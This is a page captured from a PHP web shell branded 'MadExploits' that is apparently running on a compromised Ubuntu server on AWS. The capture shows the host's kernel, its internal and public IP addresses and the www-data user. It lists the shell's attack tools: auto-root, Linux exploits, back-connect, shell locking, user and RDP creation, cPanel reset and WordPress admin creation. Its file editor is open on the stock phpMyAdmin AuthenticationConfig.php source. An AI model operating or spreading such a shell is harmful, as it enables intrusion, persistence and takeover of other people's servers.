Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 52.14.189.148
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
src /
Plugins /
Auth /
[ HOME SHELL ]
Name
Size
Permission
Action
AuthenticationConfig.php
5.16
KB
-rw-r--r--
AuthenticationCookie.php
22.3
KB
-rw-r--r--
AuthenticationHttp.php
6.74
KB
-rw-r--r--
AuthenticationSignon.php
8.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AuthenticationConfig.php
<?php /** * Config Authentication plugin for phpMyAdmin */ declare(strict_types=1); namespace PhpMyAdmin\Plugins\Auth; use PhpMyAdmin\Config; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Error\ErrorHandler; use PhpMyAdmin\Html\Generator; use PhpMyAdmin\Plugins\AuthenticationPlugin; use PhpMyAdmin\ResponseRenderer; use PhpMyAdmin\Server\Select; use PhpMyAdmin\Util; use function __; use function count; use function sprintf; use function trigger_error; use const E_USER_NOTICE; use const E_USER_WARNING; /** * Handles the config authentication method */ class AuthenticationConfig extends AuthenticationPlugin { /** * Displays authentication form */ public function showLoginForm(): void { $response = ResponseRenderer::getInstance(); if (! $response->isAjax()) { return; } $response->setRequestStatus(false); // reload_flag removes the token parameter from the URL and reloads $response->addJSON('reload_flag', '1'); $response->callExit(); } /** * Gets authentication credentials * * @return bool always true */ public function readCredentials(): bool { if ($GLOBALS['token_provided'] && $GLOBALS['token_mismatch']) { return false; } $config = Config::getInstance(); $this->user = $config->selectedServer['user']; $this->password = $config->selectedServer['password']; return true; } /** * User is not allowed to login to MySQL -> authentication failed * * @param string $failure String describing why authentication has failed */ public function showFailure(string $failure): never { parent::showFailure($failure); $connError = DatabaseInterface::getInstance()->getError(); if ($connError === '' || $connError === '0') { $connError = __('Cannot connect: invalid settings.'); } /* HTML header */ $response = ResponseRenderer::getInstance(); $response->setMinimalFooter(); $header = $response->getHeader(); $header->setBodyId('loginform'); $header->setTitle(__('Access denied!')); $header->disableMenuAndConsole(); echo '<br><br> <div class="text-center"> <h1>'; echo sprintf(__('Welcome to %s'), ' phpMyAdmin '); echo '</h1> </div> <br> <table class="table table-borderless text-start w-75 mx-auto"> <tr> <td>'; $config = Config::getInstance(); if ($failure === 'allow-denied') { trigger_error(__('Access denied!'), E_USER_NOTICE); } else { // Check whether user has configured something if ($config->sourceMtime == 0) { echo '<p>' , sprintf( __( 'You probably did not create a configuration file.' . ' You might want to use the %1$ssetup script%2$s to' . ' create one.', ), '<a href="setup/">', '</a>', ) , '</p>' , "\n"; } elseif ( ! isset($GLOBALS['errno']) || $GLOBALS['errno'] != 2002 && $GLOBALS['errno'] != 2003 ) { // if we display the "Server not responding" error, do not confuse // users by telling them they have a settings problem // (note: it's true that they could have a badly typed host name, // but anyway the current message tells that the server // rejected the connection, which is not really what happened) // 2002 is the error given by mysqli // 2003 is the error given by mysql trigger_error( __( 'phpMyAdmin tried to connect to the MySQL server, and the' . ' server rejected the connection. You should check the' . ' host, username and password in your configuration and' . ' make sure that they correspond to the information given' . ' by the administrator of the MySQL server.', ), E_USER_WARNING, ); } echo Generator::mysqlDie($connError, '', true, '', false); } ErrorHandler::getInstance()->dispUserErrors(); echo '</td> </tr> <tr> <td>' , "\n"; echo '<a href="' , Util::getScriptNameForOption($config->settings['DefaultTabServer'], 'server') , '" class="btn btn-primary mt-1 mb-1 disableAjax">' , __('Retry to connect') , '</a>' , "\n"; echo '</td> </tr>' , "\n"; if (count($config->settings['Servers']) > 1) { // offer a chance to login to other servers if the current one failed echo '<tr>' , "\n"; echo ' <td>' , "\n"; echo Select::render(true); echo ' </td>' , "\n"; echo '</tr>' , "\n"; } echo '</table>' , "\n"; $response->callExit(); } }
Close